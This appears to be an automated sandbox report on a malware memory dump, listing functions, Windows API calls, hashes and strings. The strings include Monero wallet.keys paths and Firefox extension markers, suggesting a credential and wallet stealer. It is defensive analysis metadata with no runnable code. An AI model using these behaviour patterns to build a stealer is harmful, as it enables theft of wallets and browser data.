Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: d736083cc2929b8d3997a0fced9ad71d8de03c0faa37af066eb8e8430ec24c1b
Instruction ID: 295e3cb78fbe6fdde7e77dcfea80766dc9e08f1324bbdd452ee14ad8fb1da00f
Opcode Fuzzy Hash: d736083cc2929b8d3997a0fced9ad71d8de03c0faa37af066eb8e8430ec24c1b
Instruction Fuzzy Hash: 97011E75500108FFCB08DFECD988EAE7BB9FB54354F108558F949CB205D631AA40DB90

Function 00FF12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FF12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FF12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FF12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FF12F5
RegCloseKey.ADVAPI32(?), ref: 00FF12FF

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 279702c5a869dfede165dd22f337ea83b3cfb66e8d34669176103ce21cac9227
Instruction ID: baacaabbfe47eedd9115ecd053a5a2d9ce8f89a1dbcfaccaee25031b00960007
Opcode Fuzzy Hash: 279702c5a869dfede165dd22f337ea83b3cfb66e8d34669176103ce21cac9227
Instruction Fuzzy Hash: 6701E1B9A40208BBDB14DFE4E88DFAEB7B8FB48701F108169FA45D7284D6759A058F50

Function 0100C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0100C8EC
___crtLCMapStringA.LIBCMT ref: 0100C90C
___crtLCMapStringA.LIBCMT ref: 0100C931

Strings

, xrefs: 0100C896

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 2968fdb0571972fe161cf2eb03904d9359b2a645edfa66520c10888da3eda4b3
Instruction ID: 1b2e3c2d7a24f649c3fbfcab03403f3252555603dfe5227889ac54f31c4188a2
Opcode Fuzzy Hash: 2968fdb0571972fe161cf2eb03904d9359b2a645edfa66520c10888da3eda4b3
Instruction Fuzzy Hash: C141C87150479C5EFB238B688D88FFB7BE89B45704F1445E8DACA861C2D2719B448F64

Function 01006630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 01006663

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

ShellExecuteEx.SHELL32(0000003C), ref: 01006726
ExitProcess.KERNEL32 ref: 01006755

Strings

<, xrefs: 010066D9

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a2b9a96e5a30c39a9f75a70a9664bc182ee3a36aca1812eeff3156684437db6d
Instruction ID: f6c07032da0fd8bb4c925e5ea9fc7b30513cd486b9c7208ed322b16b75aafaec
Opcode Fuzzy Hash: a2b9a96e5a30c39a9f75a70a9664bc182ee3a36aca1812eeff3156684437db6d
Instruction Fuzzy Hash: AE312BB1D01218AAEB15EB90EC94FDEB778AF64300F404199E34AA71C0DF746B48CF65

Function 010087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E28,00000000,?), ref: 0100882F
RtlAllocateHeap.NTDLL(00000000), ref: 01008836
wsprintfA.USER32 ref: 01008850

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

%dx%d, xrefs: 01008847

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e7cebde52343417ca671fb558efc7f753a0619efc322b403f634781bb052e2e9
Instruction ID: 88b4f9c60c6cbebdb817d179c064616879cc91bf6a42e3071f6ff05fa4cec626
Opcode Fuzzy Hash: e7cebde52343417ca671fb558efc7f753a0619efc322b403f634781bb052e2e9
Instruction Fuzzy Hash: 4C21FEB1A40204AFDB14DF94ED49FAEBBB8FB48711F104119F646E7284C77999018BA0

Function 01008D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0100951E,00000000), ref: 01008D5B
RtlAllocateHeap.NTDLL(00000000), ref: 01008D62
wsprintfW.USER32 ref: 01008D78

Strings

%hs, xrefs: 01008D6F

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0048ef5781aebda0162bb368ab4bd71d618091403b7029c3affba49f2d83c483
Instruction ID: 042bcf8de4d2a0b737501dbc6d17d02749042b964ea0ddb17279f7141353e752
Opcode Fuzzy Hash: 0048ef5781aebda0162bb368ab4bd71d618091403b7029c3affba49f2d83c483
Instruction Fuzzy Hash: F4E08CB0A40208FBD720DB94E80EE6DB7B8EB04702F0000A8FD8AC7244DA719E008B91

Function 00FFA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0198E8C8,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00FFA3FF
lstrlen.KERNEL32(00000000), ref: 00FFA6BC

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

DeleteFileA.KERNEL32(00000000), ref: 00FFA743

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c3f120e64358bdb5db9c54d0769fa54c40a35c271bd8669baa1418003fba49d8
Instruction ID: 7991543ae8e4fc5efaa0568f477d3650df9b1b2cb9caa57687ac0e50668355e6
Opcode Fuzzy Hash: c3f120e64358bdb5db9c54d0769fa54c40a35c271bd8669baa1418003fba49d8
Instruction Fuzzy Hash: C4E1C372A10209DAEB16EBA4DD94EEE7338AF74200F508169E557B70D0EF346B4DCB61

Function 00FFD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0198E8C8,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFD481
lstrlen.KERNEL32(00000000), ref: 00FFD698
lstrlen.KERNEL32(00000000), ref: 00FFD6AC
DeleteFileA.KERNEL32(00000000), ref: 00FFD72B

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c4e40c005f717852c80c0b2c69e007b86b88cca21fc1d69cacb7abe766bf155d
Instruction ID: b3b891fae34828d40ed32134ac691b2f92c6b24df706adbc7930845430ba4ff5
Opcode Fuzzy Hash: c4e40c005f717852c80c0b2c69e007b86b88cca21fc1d69cacb7abe766bf155d
Instruction Fuzzy Hash: 5B91E072A10209DBEB16FBA4DD94EEE7338AF74200F504169E597A70D0EF346B49CB61

Function 00FFD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01008B60: GetSystemTime.KERNEL32(01010E1A,0198E8C8,010105AE,?,?,00FF13F9,?,0000001A,01010E1A,00000000,?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 01008B86

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FFD801
lstrlen.KERNEL32(00000000), ref: 00FFD99F
lstrlen.KERNEL32(00000000), ref: 00FFD9B3
DeleteFileA.KERNEL32(00000000), ref: 00FFDA32

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4fb720379ccc98ba1f3f858da98b27c604bbbac8c01b5a41b642d127e045ccea
Instruction ID: 531a1e06acdb563b5583b01dd58bfdb655c4265eb59e7caa8a36c9b6329b9223
Opcode Fuzzy Hash: 4fb720379ccc98ba1f3f858da98b27c604bbbac8c01b5a41b642d127e045ccea
Instruction Fuzzy Hash: 1A81F072A10209DBEB16FBA4DD94EEE7338BF64200F504129E587A70D4EF346B49DB61

Function 00FFF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,01011580,01010D92), ref: 00FFF54C
lstrlen.KERNEL32(00000000), ref: 00FFF56B

Strings

moz-extension+++, xrefs: 00FFF5AD
^userContextId=4294967295, xrefs: 00FFF59C

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
